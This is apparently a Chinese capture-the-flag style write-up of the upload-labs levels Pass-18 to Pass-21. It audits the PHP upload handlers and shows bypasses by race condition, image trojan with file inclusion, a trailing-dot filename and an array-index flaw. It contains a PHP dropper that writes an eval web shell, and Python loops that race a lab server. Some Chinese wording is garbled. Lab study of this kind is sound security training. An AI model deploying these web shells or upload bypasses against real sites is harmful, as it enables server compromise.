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1、Pass-18(条件竞争)
1、标题须要举行代码审计:- <?php
- include '../config.php';
- include '../head.php';
- include '../menu.php';
- $is_upload = false;
- $msg = null;
- if(isset($_POST['submit'])){
- $ext_arr = array('jpg','png','gif');//白名单
- $file_name = $_FILES['upload_file']['name'];
- $temp_file = $_FILES['upload_file']['tmp_name'];
- $file_ext = substr($file_name,strrpos($file_name,".")+1);
- $upload_file = UPLOAD_PATH . '/' . $file_name;//得到上传路径,即为upload/ + 文件名
- if(move_uploaded_file($temp_file, $upload_file)){//上传文件,即将文件上传到$upload_file目录下
- if(in_array($file_ext,$ext_arr)){//匹配白名单,若该文件后缀在白名单中则进入
- $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
- rename($upload_file, $img_path);//修改文件名
- $is_upload = true;
- }else{
- $msg = "只允许上传.jpg|.png|.gif类型文件!";
- unlink($upload_file);//删除该文件
- }
- }else{
- $msg = '上传出错!';
- }
- }
- ?>
复制代码 以是我们只要上传的文件后缀不是白名单中的,该文件就照旧会被删除
2、思绪:
我们可以上传一个php文件此中代码为:- <?php
- fputs(fopen("shell.php","w"),"<?php @eval(\$_POST[1]);?>");
- ?>
复制代码 由于该文件后缀不是白名单中的,该文件就照旧会被删除;
但是,服务器删除该php文件是有肯定的延长的,若我们在这延长中访问了该php代码,那么就会在当前目次天生shell.php文件
3、实践:
(1)、抓包进入爆破模块:
(2)发包:
此时就在源源不停的上传文件1.php,服务器也在不绝删除该文件;
与此同时,我们得不停访问该文件,可以写个python脚原来访问:- import requests
- while 1:
- url = "http://192.168.80.128/upload-labs/upload/1.php" #填入url
- html = requests.get(url)
- print(html.text)
复制代码 (3)、访问shell.php:
2、Pass-19(条件竞争 + 图片马)
注:
本题代码有一处有点标题须要修改,即myupload.php中:- function setDir( $dir ){
-
- if( !is_writable( $dir ) ){
- return "DIRECTORY_FAILURE";
- } else {
- $this->cls_upload_dir = $dir . '/';//设置文件夹,需要后面加上'/'
- return 1;
- }
- }
复制代码 1、举行代码分析:
index.php:- <?php
- include '../config.php';
- include '../head.php';
- include '../menu.php';
- $is_upload = false;
- $msg = null;
- if (isset($_POST['submit']))
- {
- require_once("./myupload.php");
- $imgFileName =time();
- $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);//调用myupload.php的MyUpload方法传入参数
- $status_code = $u->upload(UPLOAD_PATH);//调用myupload.php的upload方法处理文件
- switch ($status_code) {
- case 1:
- $is_upload = true;
- $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
- break;
- case 2:
- $msg = '文件已经被上传,但没有重命名。';
- break;
- case -1:
- $msg = '这个文件不能上传到服务器的临时文件存储目录。';
- break;
- case -2:
- $msg = '上传失败,上传目录不可写。';
- break;
- case -3:
- $msg = '上传失败,无法上传该类型文件。';
- break;
- case -4:
- $msg = '上传失败,上传的文件过大。';
- break;
- case -5:
- $msg = '上传失败,服务器已经存在相同名称文件。';
- break;
- case -6:
- $msg = '文件无法上传,文件不能复制到目标目录。';
- break;
- default:
- $msg = '未知错误!';
- break;
- }
- }
- ?>
复制代码 myupload.php(带解释):
- <?php
- class MyUpload{
- var $cls_upload_dir = ""; // Directory to upload to.
- var $cls_filename = ""; // Name of the upload file.
- var $cls_tmp_filename = ""; // TMP file Name (tmp name by php).
- var $cls_max_filesize = 33554432; // Max file size.
- var $cls_filesize =""; // Actual file size.
- var $cls_arr_ext_accepted = array(
- ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
- ".html", ".xml", ".tiff", ".jpeg", ".png" );
- var $cls_file_exists = 0; // Set to 1 to check if file exist before upload.(当设置参数值为1时,就会在上传前检查文件是否存在)
- var $cls_rename_file = 1; // Set to 1 to rename file after upload.(当设置参数值为1时,就会在上传文件之后修改文件名)
- var $cls_file_rename_to = ''; // New name for the file after upload.
- var $cls_verbal = 0; // Set to 1 to return an a string instead of an error code.
- /** constructor()
- **
- ** @para String File name
- ** @para String Temp file name
- ** @para Int File size
- ** @para String file rename to
- **/
- function MyUpload( $file_name, $tmp_file_name, $file_size, $file_rename_to = '' ){
-
- $this->cls_filename = $file_name;//文件名
- $this->cls_tmp_filename = $tmp_file_name;//临时文件名
- $this->cls_filesize = $file_size;//文件大小
- $this->cls_file_rename_to = $file_rename_to;//文件重命名
- }
- /** isUploadedFile()
- **
- ** Method to wrap php 4.0.3 is_uploaded_file fct
- ** It will return an error code if the file has not been upload to /tmp on the web server
- ** (look with phpinfo() fct where php store tmp uploaded file)
- ** @returns string
- **/
- function isUploadedFile(){
-
- if( is_uploaded_file( $this->cls_tmp_filename ) != true ){//is_uploaded_file() 函数判断指定的文件是否是通过 HTTP POST 上传的
- return "IS_UPLOADED_FILE_FAILURE";
- } else {
- return 1;
- }
- }
- /** setDir()
- **
- ** Method to set the directory we will upload to.
- ** It will return an error code if the dir is not writable.
- ** @para String name of directory we upload to
- ** @returns string
- **/
- function setDir( $dir ){
-
- if( !is_writable( $dir ) ){
- return "DIRECTORY_FAILURE";
- } else {
- $this->cls_upload_dir = $dir . '/';//若upload文件在存在,设置$this->cls_upload_dir=upload
- return 1;
- }
- }
- /** checkExtension()
- **
- ** Method to check if we accept the file extension.
- ** @returns string
- **/
- function checkExtension(){//检查扩展名
-
- // Check if the extension is valid
- if( !in_array( strtolower( strrchr( $this->cls_filename, "." )), $this->cls_arr_ext_accepted )){
- return "EXTENSION_FAILURE";
- } else {
- return 1;
- }
- }
- /** checkSize()
- **
- ** Method to check if the file is not to big.
- ** @returns string
- **/
- function checkSize(){//大小要小于33554432
- if( $this->cls_filesize > $this->cls_max_filesize ){
- return "FILE_SIZE_FAILURE";
- } else {
- return 1;
- }
- }
- /** move()
- **
- ** Method to wrap php 4.0.3 fct move_uploaded_file()
- ** @returns string
- **/
- function move(){//上传文件
-
- if( move_uploaded_file( $this->cls_tmp_filename, $this->cls_upload_dir . $this->cls_filename ) == false ){
- return "MOVE_UPLOADED_FILE_FAILURE";
- } else {
- return 1;
- }
- }
- /** checkFileExists()
- **
- ** Method to check if a file with the same name exists in
- ** destination folder.
- ** @returns string
- **/
- function checkFileExists(){//检查在upload目录下文件是否已经存在
-
- if( file_exists( $this->cls_upload_dir . $this->cls_filename ) ){
- return "FILE_EXISTS_FAILURE";
- } else {
- return 1;
- }
- }
- /** renameFile()
- **
- ** Method to rename the uploaded file.
- ** If no name was provided with the constructor, we use
- ** a random name.
- ** @returns string
- **/
- function renameFile(){//进行修改文件名
- // if no new name was provided, we use
- if( $this->cls_file_rename_to == '' ){//未设置文件名
- $allchar = "abcdefghijklnmopqrstuvwxyz" ;
- $this->cls_file_rename_to = "" ;
- mt_srand (( double) microtime() * 1000000 );
- for ( $i = 0; $i<8 ; $i++ ){
- $this->cls_file_rename_to .= substr( $allchar, mt_rand (0,25), 1 ) ;
- }
- }
-
- // Remove the extension and put it back on the new file name
-
- $extension = strrchr( $this->cls_filename, "." );
- $this->cls_file_rename_to .= $extension;
-
- if( !rename( $this->cls_upload_dir . $this->cls_filename, $this->cls_upload_dir . $this->cls_file_rename_to )){
- return "RENAME_FAILURE";
- } else {
- return 1;
- }
- }
-
- /** upload()
- **
- ** Method to upload the file.
- ** This is the only method to call outside the class.
- ** @para String name of directory we upload to
- ** @returns void
- **/
- function upload( $dir ){//index.php调用了upload方法,并传入$dir='upload'
-
- $ret = $this->isUploadedFile();//判断文件是否是正常上传过来的,若是则$ret=1
-
- if( $ret != 1 ){//若文件不是正常上传过来的,通过resultUpload方法返回指定数值
- return $this->resultUpload( $ret );
- }
- $ret = $this->setDir( $dir );//设置上传文件夹,成功返回$ret=1
- if( $ret != 1 ){//出错返回
- return $this->resultUpload( $ret );
- }
- $ret = $this->checkExtension();//检查上传文件的后缀是否在白名单中
- if( $ret != 1 ){//不在返回出错
- return $this->resultUpload( $ret );
- }
- $ret = $this->checkSize();//检查文件大小
- if( $ret != 1 ){//太大返回出错
- return $this->resultUpload( $ret );
- }
-
- // if flag to check if the file exists is set to 1
-
- if( $this->cls_file_exists == 1 ){
-
- $ret = $this->checkFileExists();//若文件已经存在返回出错
- if( $ret != 1 ){
- return $this->resultUpload( $ret );
- }
- }
- // if we are here, we are ready to move the file to destination
- $ret = $this->move();//将文件上传到upload目录下
- if( $ret != 1 ){//出错返回
- return $this->resultUpload( $ret );
- }
- // check if we need to rename the file
- if( $this->cls_rename_file == 1 ){
- $ret = $this->renameFile();
- if( $ret != 1 ){//出错返回
- return $this->resultUpload( $ret );
- }
- }
-
- // if we are here, everything worked as planned :)
- return $this->resultUpload( "SUCCESS" );//返回成功
-
- }
- /** resultUpload()
- **
- ** Method that returns the status of the upload
- ** (You should put cls_verbal to 1 during debugging...)
- ** @para String Status of the upload
- ** @returns mixed (int or string)
- **/
- function resultUpload( $flag ){
- switch( $flag ){
- case "IS_UPLOADED_FILE_FAILURE" : if( $this->cls_verbal == 0 ) return -1; else return "The file could not be uploaded to the tmp directory of the web server.";
- break;
- case "DIRECTORY_FAILURE" : if( $this->cls_verbal == 0 ) return -2; else return "The file could not be uploaded, the directory is not writable.";
- break;
- case "EXTENSION_FAILURE" : if( $this->cls_verbal == 0 ) return -3; else return "The file could not be uploaded, this type of file is not accepted.";
- break;
- case "FILE_SIZE_FAILURE" : if( $this->cls_verbal == 0 ) return -4; else return "The file could not be uploaded, this file is too big.";
- break;
- case "FILE_EXISTS_FAILURE" : if( $this->cls_verbal == 0 ) return -5; else return "The file could not be uploaded, a file with the same name already exists.";
- break;
- case "MOVE_UPLOADED_FILE_FAILURE" : if( $this->cls_verbal == 0 ) return -6; else return "The file could not be uploaded, the file could not be copied to destination directory.";
- break;
- case "RENAME_FAILURE" : if( $this->cls_verbal == 0 ) return 2; else return "The file was uploaded but could not be renamed.";
- break;
- case "SUCCESS" : if( $this->cls_verbal == 0 ) return 1; else return "Upload was successful!";
- break;
- default : echo "OUPS!! We do not know what happen, you should fire the programmer ;)";
- break;
- }
- }
- }; // end class
- // exemple
- /*
- if( $_POST['submit'] != '' ){
- $u = new MyUpload( $_FILES['image']['name'], $_FILES['image']['tmp_name'], $_FILES['image']['size'], "thisname" );
- $result = $u->upload( "../image/upload/" );
- print $result;
- }
- print "<br><br>\n";
- print "<form enctype='multipart/form-data' method='post' action='". $PHP_SELF ."'>\n";
- print "<input type='hidden' name='MAX_FILE_SIZE' value='200000'>\n";
- print "<input type='file' name='image'>\n";
- print "<input type='submit' value='Upload' name='submit'>\n";
- print "</form>\n";
- */
- ?>
复制代码 可知代码的思绪是:查抄文件巨细,后缀等信息,不符合则上传失败,若上传乐成则随机化文件名(即在现实中,我们不知道文件名;但本题可以知道,我们以不知道来举行解答)
2、以是思绪是,我们上传一个图片马,在服务器修改文件名的间隙,通过文件包罗毛病,向服务器写入一个后门
3、实践:
操纵跟上一关差不多

使用python文件举行包罗:- import requests
- while 1:
- url = "http://192.168.80.128/upload-labs/include.php?file=./upload/2.png" #填入url
- html = requests.get(url)
- print(html.text)
复制代码 这里是否写入也是概率标题,多跑频频
3、Pass-20(上传文件名可控move_uploaded_file)
1、本题我们可以恣意写出我们想要上传的文件名,由于move_uploaded_file会忽略末了的/.,举行后缀获取的时间,获取到空,以是也可以用来绕过黑名单;
输出后缀:
可知为空
2、上传:
访问:
4、Pass-21(逻辑毛病)
1、代码分析:- <?php
- include '../config.php';
- include '../common.php';
- include '../head.php';
- include '../menu.php';
- if (isset($_POST['submit'])) {
- if (file_exists(UPLOAD_PATH)) {
- $is_upload = false;
- $msg = null;
- if(!empty($_FILES['upload_file'])){
- //mime check
- $allow_type = array('image/jpeg','image/png','image/gif');
- if(!in_array($_FILES['upload_file']['type'],$allow_type)){
- $msg = "禁止上传该类型文件!";
- }else{
- //check filename
- $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
- if (!is_array($file)) {//若$file不为数组,则将$file以点分开,得到字符串数组
- $file = explode('.', strtolower($file));
- }
- $ext = end($file);//获取数组的最后一位
- $allow_suffix = array('jpg','png','gif');//白名单
- if (!in_array($ext, $allow_suffix)) {
- $msg = "禁止上传该后缀文件!";
- }else{
- $file_name = reset($file) . '.' . $file[count($file) - 1];//取数组第一个元素和最后一个拼接
- $temp_file = $_FILES['upload_file']['tmp_name'];
- $img_path = UPLOAD_PATH . '/' .$file_name;
- if (move_uploaded_file($temp_file, $img_path)) {
- $msg = "文件上传成功!";
- $is_upload = true;
- } else {
- $msg = "文件上传失败!";
- }
- }
- }
- }else{
- $msg = "请选择要上传的文件!";
- }
-
- } else {
- $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
- }
- }
- ?>
复制代码 2、我将代码简化,上面代码逻辑等同于:- <?php
- $name=$_GET['name'];//输入的文件名
- $ext=end($name);//取最后一个元素
- $allow_suffix = array('jpg','png','gif');//白名单
- if (!in_array($ext, $allow_suffix)) {
- $msg = "禁止上传该后缀文件!";
- }else{
- $file_name = reset($name) . '.' . $name[count($name) - 1];//取数组第一个元素和最后一个拼接
- echo count($name) . '</br>';
- echo $file_name . '</br>';
- }
- var_dump($name);
- ?>
复制代码 此中
end函数:取末了一个元素
reset:取第一个元素
以是我们的思绪是:我们本身传入数组,不消代码中的explode举行分割形成数组。
由于有黑名单,以是我们输入的数组末了一个元素必须为jpg、png大概gif
而这里的所及毛病是反面的文件名拼接,文件后缀是取数组元素减一所指的元素,若我们让数组本身元素少于下标末了绕过;
3、实践:
4、访问:
|